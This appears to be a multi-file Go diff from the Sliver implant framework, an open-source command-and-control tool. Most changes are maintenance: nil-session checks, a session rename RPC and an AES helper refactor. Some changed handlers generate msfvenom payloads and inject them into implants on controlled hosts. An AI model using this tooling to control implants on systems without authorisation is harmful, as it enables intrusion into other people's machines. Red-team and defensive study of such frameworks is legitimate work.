err := proto.Unmarshal(data, beaconTasks)
+4 -21
View File
@@ -76,8 +76,6 @@ func pivotPeerEnvelopeHandler(implantConn *core.ImplantConnection, data []byte)
resp = serverKeyExchange(implantConn, peerEnvelope)
case sliverpb.MsgPivotSessionEnvelope:
resp = sessionEnvelopeHandler(implantConn, peerEnvelope)
case sliverpb.MsgPivotServerPing:
resp = serverPingHandler(implantConn, peerEnvelope)
}
return resp
@@ -130,6 +128,8 @@ func handlePivotEnvelope(pivot *core.Pivot, envelope *sliverpb.Envelope) {
pivot.ImplantConn.Send <- respEnvelope
}()
}
} else if envelope.Type == sliverpb.MsgPivotServerPing {
pivotServerPingHandler(pivot)
} else {
pivotLog.Errorf("no pivot handler for envelope type %v", envelope.Type)
}
@@ -159,26 +159,9 @@ func pivotPeerFailureHandler(implantConn *core.ImplantConnection, data []byte) *
return nil
}
func serverPingHandler(implantConn *core.ImplantConnection, peerEnvelope *sliverpb.PivotPeerEnvelope) *sliverpb.Envelope {
pivotSessionID := uuid.FromBytesOrNil(peerEnvelope.PivotSessionID).String()
if pivotSessionID == "" {
pivotLog.Errorf("failed to parse pivot session id from peer envelope")
return nil
}
// Find the pivot session for the server ping
pivotLog.Debugf("origin envelope pivot session ID = %s", pivotSessionID)
pivotEntry, ok := core.PivotSessions.Load(pivotSessionID)
if !ok {
pivotLog.Errorf("pivot session id '%s' not found", pivotSessionID)
return nil
}
pivot := pivotEntry.(*core.Pivot)
// Update last message time
func pivotServerPingHandler(pivot *core.Pivot) {
pivot.ImplantConn.UpdateLastMessage()
return nil
pivot.ImmediateImplantConn.UpdateLastMessage()
}
// ------------------------
+20 -4
View File
@@ -102,6 +102,10 @@ func auditLogSession(session *core.Session, register *sliverpb.Register) {
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
session := core.Sessions.FromImplantConnection(implantConn)
if session == nil {
sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
return nil
}
tunnelHandlerMutex.Lock()
defer tunnelHandlerMutex.Unlock()
tunnelData := &sliverpb.TunnelData{}
@@ -111,7 +115,7 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
if session.ID == tunnel.SessionID {
tunnel.FromImplant <- tunnelData
} else {
sessionHandlerLog.Warnf("Warning: Session %d attempted to send data on tunnel it did not own", session.ID)
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
@@ -121,6 +125,10 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
session := core.Sessions.FromImplantConnection(implantConn)
if session == nil {
sessionHandlerLog.Warnf("Received tunnel close from unknown session: %v", implantConn)
return nil
}
tunnelHandlerMutex.Lock()
defer tunnelHandlerMutex.Unlock()
@@ -135,7 +143,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
sessionHandlerLog.Infof("Closing tunnel %d", tunnel.ID)
core.Tunnels.Close(tunnel.ID)
} else {
sessionHandlerLog.Warnf("Warning: Session %d attempted to send data on tunnel it did not own", session.ID)
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Close sent on nil tunnel %d", tunnelData.TunnelID)
@@ -145,12 +153,20 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
func pingHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
session := core.Sessions.FromImplantConnection(implantConn)
sessionHandlerLog.Debugf("ping from session %d", session.ID)
if session == nil {
sessionHandlerLog.Warnf("Received ping from unknown session: %v", implantConn)
return nil
}
sessionHandlerLog.Debugf("ping from session %s", session.ID)
return nil
}
func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
session := core.Sessions.FromImplantConnection(implantConn)
if session == nil {
sessionHandlerLog.Warnf("Received socks data from unknown session: %v", implantConn)
return nil
}
tunnelHandlerMutex.Lock()
defer tunnelHandlerMutex.Unlock()
socksData := &sliverpb.SocksData{}
@@ -166,7 +182,7 @@ func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverp
if session.ID == SocksTunne.SessionID {
SocksTunne.FromImplant <- socksData
} else {
sessionHandlerLog.Warnf("Warning: Session %d attempted to send data on tunnel it did not own", session.ID)
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", socksData.TunnelID)
+3
View File
@@ -38,4 +38,7 @@ var (
ErrAsyncNotSupported = status.Error(codes.Unavailable, "Async not supported for this command")
// ErrDatabaseFailure - Generic database failure error (real error is logged)
ErrDatabaseFailure = status.Error(codes.Internal, "Database operation failed")
// ErrInvalidName - Invalid name
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics only")
)
+1 -1
View File
@@ -31,6 +31,7 @@ import (
"google.golang.org/protobuf/proto"
)
// Kill - Kill the implant proccess
func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.Empty, error) {
var (
beacon *models.Beacon
@@ -49,7 +50,6 @@ func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.
}
func (rpc *Server) killSession(kill *sliverpb.KillReq, session *core.Session) (*commonpb.Empty, error) {
core.Sessions.Remove(session.ID)
data, err := proto.Marshal(kill)
if err != nil {
return nil, err
+7 -6
View File
@@ -64,7 +64,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
arch = beacon.Arch
}
config := msf.VenomConfig{
rawPayload, err := msf.VenomPayload(msf.VenomConfig{
Os: os,
Arch: msf.Arch(arch),
Payload: req.Payload,
@@ -73,8 +73,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
Encoder: req.Encoder,
Iterations: int(req.Iterations),
Format: "raw",
}
rawPayload, err := msf.VenomPayload(config)
})
if err != nil {
rpcLog.Warnf("Error while generating msf payload: %v\n", err)
return nil, err
@@ -83,6 +82,7 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
Encoder: "raw",
Data: rawPayload,
RWXPages: true,
Request: req.Request,
}
resp := &sliverpb.Task{Response: &commonpb.Response{}}
err = rpc.GenericHandler(taskReq, resp)
@@ -115,7 +115,8 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
os = beacon.OS
arch = beacon.Arch
}
config := msf.VenomConfig{
rawPayload, err := msf.VenomPayload(msf.VenomConfig{
Os: os,
Arch: msf.Arch(arch),
Payload: req.Payload,
@@ -124,8 +125,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
Encoder: req.Encoder,
Iterations: int(req.Iterations),
Format: "raw",
}
rawPayload, err := msf.VenomPayload(config)
})
if err != nil {
return nil, err
}
@@ -134,6 +134,7 @@ func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*
Encoder: "raw",
Data: rawPayload,
RWXPages: true,
Request: req.Request,
}
resp := &sliverpb.Task{Response: &commonpb.Response{}}
err = rpc.GenericHandler(taskReq, resp)
+82
View File
@@ -0,0 +1,82 @@
package rpc
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"regexp"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
)
const maxNameLength = 32
// Reconfigure - Reconfigure a beacon/session
func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
resp := &sliverpb.Reconfigure{Response: &commonpb.Response{}}
err := rpc.GenericHandler(req, resp)
if err != nil {
return nil, err
}
// Successfully execute command, update server's info on reconnect interval
if req.Request.SessionID != "" {
session := core.Sessions.Get(req.Request.SessionID)
if req.ReconnectInterval != 0 {
session.ReconnectInterval = req.ReconnectInterval
}
}
return resp, nil
}
// Rename - Rename a beacon/session
func (rpc *Server) Rename(ctx context.Context, req *clientpb.RenameReq) (*commonpb.Empty, error) {
resp := &commonpb.Empty{}
if len(req.Name) < 1 || maxNameLength < len(req.Name) {
return resp, ErrInvalidName
}
if !regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(req.Name) {
return resp, ErrInvalidName
}
if req.SessionID != "" {
session := core.Sessions.Get(req.SessionID)
if session == nil {
return nil, ErrInvalidSessionID
}
session.Name = req.Name
} else if req.BeaconID != "" {
beacon, err := db.BeaconByID(req.BeaconID)
if err != nil || beacon == nil {
return nil, ErrInvalidBeaconID
}
err = db.RenameBeacon(beacon.ID.String(), req.Name)
if err != nil {
return nil, err
}
} else {
return nil, ErrMissingRequestField
}
return resp, nil
}
-75
View File
@@ -20,8 +20,6 @@ package rpc
import (
"context"
"errors"
"regexp"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -32,13 +30,6 @@ import (
"google.golang.org/protobuf/proto"
)
const maxNameLength = 32
var (
// ErrInvalidName - Invalid name
ErrInvalidName = errors.New("invalid session name, alphanumerics only")
)
// GetSessions - Get a list of sessions
func (rpc *Server) GetSessions(ctx context.Context, _ *commonpb.Empty) (*clientpb.Sessions, error) {
resp := &clientpb.Sessions{
@@ -72,72 +63,6 @@ func (rpc *Server) KillSession(ctx context.Context, kill *sliverpb.KillReq) (*co
return &commonpb.Empty{}, nil
}
// UpdateSession - Update a session name
func (rpc *Server) UpdateSession(ctx context.Context, update *clientpb.UpdateSession) (*clientpb.Session, error) {
resp := &clientpb.Session{}
session := core.Sessions.Get(update.SessionID)
if session == nil {
return resp, ErrInvalidSessionID
}
var maxLen int
if update.Name != "" {
if len(update.Name) < maxNameLength {
maxLen = len(update.Name)
} else {
maxLen = maxNameLength
}
name := update.Name[:maxLen]
if !regexp.MustCompile(`^[[:alnum:]]+$`).MatchString(name) {
return resp, ErrInvalidName
}
session.Name = name
}
// Update reconnect interval if set
if update.ReconnectInterval != -1 {
session.ReconnectInterval = update.ReconnectInterval
// Create protobuf msg
req := sliverpb.ReconnectIntervalReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(0),
},
ReconnectInterval: update.ReconnectInterval,
}
data, err := proto.Marshal(&req)
if err != nil {
return nil, err
}
session.Request(sliverpb.MsgNumber(&req), rpc.getTimeout(&req), data)
}
// Update poll interval if set
if update.PollInterval != -1 {
session.PollTimeout = update.PollInterval
// Create protobuf msg
req := sliverpb.PollIntervalReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: int64(0),
},
PollInterval: update.PollInterval,
}
data, err := proto.Marshal(&req)
if err != nil {
return nil, err
}
session.Request(sliverpb.MsgNumber(&req), rpc.getTimeout(&req), data)
}
if len(update.Extensions) != 0 {
session.Extensions = update.Extensions
}
core.Sessions.UpdateSession(session)
resp = session.ToProtobuf()
return resp, nil
}
// OpenSession - Instruct beacon to open a new session on next checkin
func (rpc *Server) OpenSession(ctx context.Context, openSession *sliverpb.OpenSession) (*sliverpb.OpenSession, error) {
resp := &sliverpb.OpenSession{Response: &commonpb.Response{}}
@@ -22,44 +22,43 @@ import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/hex"
"errors"
"fmt"
"io"
)
var EncryptionKey *string
//Encrypt the results
func Encrypt(bites []byte) []byte {
plainText, err := pad(bites, aes.BlockSize)
func Encrypt(data []byte, key []byte, iv []byte) []byte {
plainText, err := pad(data, aes.BlockSize)
if err != nil {
return make([]byte, 0)
}
block, _ := aes.NewCipher([]byte(*EncryptionKey))
block, _ := aes.NewCipher(key)
cipherText := make([]byte, aes.BlockSize+len(plainText))
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
// Create a random IV if none was provided
// len(nil) returns 0
if len(iv) == 0 {
iv = cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
}
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
return []byte(fmt.Sprintf("%x", cipherText))
return cipherText
}
//Decrypt a command
func Decrypt(text string) string {
cipherText, _ := hex.DecodeString(text)
block, err := aes.NewCipher([]byte(*EncryptionKey))
func Decrypt(data []byte, key []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
return ""
return nil
}
iv := cipherText[:aes.BlockSize]
cipherText = cipherText[aes.BlockSize:]
iv := data[:aes.BlockSize]
data = data[aes.BlockSize:]
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(cipherText, cipherText)
cipherText, _ = unpad(cipherText, aes.BlockSize)
return string(cipherText)
mode.CryptBlocks(data, data)
data, _ = unpad(data, aes.BlockSize)
return data
}
func pad(buf []byte, size int) ([]byte, error) {